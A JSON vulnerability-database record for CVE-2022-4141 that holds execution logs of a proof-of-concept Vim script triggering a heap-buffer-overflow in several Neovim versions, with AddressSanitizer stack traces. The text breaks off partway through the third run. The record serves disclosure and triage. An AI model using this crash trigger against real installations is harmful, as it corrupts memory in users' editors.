{"uuid": "df7d20ef-047d-4205-a4f5-92daf0b633f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4141", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/3b156844b7ebd31328c6d5ddf2278deb", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_sub_expr_goto_other_file()\n\nline 18: \n\nline 19: call Test_sub_expr_goto_other_file()\n\ncalling Test_sub_expr_goto_other_file()\n\nline 1:   call writefile([''], 'Xfileone')\n\nline 2:   enew!\n\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, ['Xfileone zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'])\n\nline 5: \n\nline 6:   func g:SplitGotoFile()\n\nline 10: \n\nline 11:   1\n\nline 12:   1s/\\ny*/\\=g:SplitGotoFile()/\n\ncalling SplitGotoFile()\n\nline 1:     exe \"sil! norm 0\\gf\"\n\nline 1: sil! norm 0^Wgf\n\nline 2:     return ''\n\nSplitGotoFile returning ''\n\ncontinuing in Test_sub_expr_goto_other_file\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4141/CVE-2022-4141_nvim2[19]..function Test_sub_expr_goto_other_file:\nline   12:\nE315: ml_get: invalid lnum: 2=================================================================\n==9981==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000036ba at pc 0x0000004e0015 bp 0x7ffd1da00b90 sp 0x7ffd1da00358\nWRITE of size 53 at 0x6030000036ba thread T0\n    #0 0x4e0014 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014)\n    #1 0x73d502 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3936:11\n    #2 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #6 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #7 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #8 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #9 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #10 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #15 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #16 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #17 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #18 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #19 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #20 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #21 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #22 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #23 0x7f54f1c7f082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #24 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x6030000036ba is located 0 bytes to the right of 26-byte region [0x6030000036a0,0x6030000036ba)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #10 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #11 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #12 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #13 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #18 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #19 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #20 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #22 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #23 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #24 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #25 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #26 0x7f54f1c7f082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff8680: fd fd fd fa fa fa 00 00 04 fa fa fa 00 00 00 03\n  0x0c067fff8690: fa fa 00 00 02 fa fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff86a0: fd fd fa fa fd fd fd fa fa fa 00 00 06 fa fa fa\n  0x0c067fff86b0: fd fd fd fd fa fa 00 00 00 03 fa fa 00 00 00 06\n  0x0c067fff86c0: fa fa fd fd fd fd fa fa 00 00 00 06 fa fa 00 00\n=&gt;0x0c067fff86d0: 00 06 fa fa 00 00 00[02]fa fa fa fa fa fa fa fa\n  0x0c067fff86e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff86f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8710: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8720: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==9981==ABORTING\n\n\n\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:&gt;] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_sub_expr_goto_other_file()\n\nline 18: \n\nline 19: call Test_sub_expr_goto_other_file()\n\ncalling function Test_sub_expr_goto_other_file()\n\nline 1:   call writefile([''], 'Xfileone')\n\nline 2:   enew!\n\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, ['Xfileone zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'])\n\nline 5: \n\nline 6:   func g:SplitGotoFile()\n\nline 10: \n\nline 11:   1\n\nline 12:   1s/\\ny*/\\=g:SplitGotoFile()/\n\ncalling function Test_sub_expr_goto_other_file[12]..SplitGotoFile()\n\nline 1:     exe \"sil! norm 0\\gf\"\n\nline 1: sil! norm 0^Wgf\n\nline 2:     return ''\n\nfunction Test_sub_expr_goto_other_file[12]..SplitGotoFile returning ''\n\ncontinuing in function Test_sub_expr_goto_other_file\n\nError detected while processing function Test_sub_expr_goto_other_file:\nline   12:\nE315: ml_get: invalid lnum: 2=================================================================\n==10067==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000009b6a at pc 0x0000004d5ff5 bp 0x7ffe9b4f4150 sp 0x7ffe9b4f3918\nWRITE of size 53 at 0x603000009b6a thread T0\n    #0 0x4d5ff4 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4)\n    #1 0x8cb937 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4090:11\n    #2 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #3 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #6 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #7 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #8 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #9 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #10 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #11 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #12 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #13 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #14 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #15 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #16 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #17 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #18 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #19 0x7ff7ef3db082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x603000009b6a is located 0 bytes to the right of 26-byte region [0x603000009b50,0x603000009b6a)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n    #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d32cd in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb8d4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #9 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #10 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #11 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #12 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #13 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #14 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #15 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #16 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #17 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #18 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #19 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #20 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #21 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #22 0x7ff7ef3db082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff9310: 00 00 02 fa fa fa fd fd fd fa fa fa fd fd fd fa\n  0x0c067fff9320: fa fa fd fd fd fd fa fa fd fd fd fa fa fa 00 00\n  0x0c067fff9330: 00 00 fa fa 00 00 06 fa fa fa 00 00 00 00 fa fa\n  0x0c067fff9340: 00 00 00 00 fa fa 00 00 00 06 fa fa 00 00 00 00\n  0x0c067fff9350: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00\n=&gt;0x0c067fff9360: 00 00 fa fa 00 00 00 06 fa fa 00 00 00[02]fa fa\n  0x0c067fff9370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff9380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff9390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff93a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff93b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==10067==ABORTING\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_sub_expr_goto_other_file()\n\nline 18: \n\nline 19: call Test_sub_expr_goto_other_file()\n\ncalling function Test_sub_expr_goto_other_file()\n\nline 1:   call writefile([''], 'Xfileone')\n\nline 2:   enew!\n\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, ['Xfileone zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'])\n\nline 5: \n\nline 6:   func g:SplitGotoFile()\n\nline 10: \n\nline 11:   1\n\nline 12:   1s/\\ny*/\\=g:SplitGotoFile()/\n\ncalling function Test_sub_expr_goto_other_file[12]..SplitGotoFile()\n\nline 1:     exe \"sil! norm 0\\gf\"\n\nline 1: sil! norm 0^Wgf\n\nline 2:     return ''\n\nfunction Test_sub_expr_goto_other_file[12]..SplitGotoFile returning ''\n\ncontinuing in function Test_sub_expr_goto_other_file\n\nError detected while processing function Test_sub_expr_goto_other_file:\nline   12:\nE315: ml_get: invalid lnum: 2=================================================================\n==9884==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000527a at pc 0x0000004c6e05 bp 0x7ffd7376a130 sp 0x7ffd737698f8\nWRITE of size 53 at 0x60300000527a thread T0\n    #0 0x4c6e04 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04)\n    #1 0x7b9342 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3804:11\n    #2 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #6 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #7 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #8 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #9 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #10 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #11 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #12 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #13 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #14 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #15 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #16 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #17 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #18 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #19 0x7f600aacc082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x60300000527a is located 0 bytes to the right of 26-byte region [0x603000005260,0x60300000527a)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #9 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #10 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #11 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #12 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #13 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #14 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #15 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #16 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #17 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #18 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #19 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #20 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #21 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #22 0x7f600aacc082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff89f0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff8a00: fd fd fa fa fd fd fd fa fa fa 00 00 00 fa fa fa\n  0x0c067fff8a10: 00 00 06 fa fa fa 00 00 00 fa fa fa 00 00 00 fa\n  0x0c067fff8a20: fa fa 00 00 00 06 fa fa 00 00 00 fa fa fa fd fd\n  0x0c067fff8a30: fd fd fa fa 00 00 00 fa fa fa 00 00 00 06 fa fa\n=&gt;0x0c067fff8a40: 00 00 00 fa fa fa 00 00 00 06 fa fa 00 00 00[02]\n  0x0c067fff8a50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       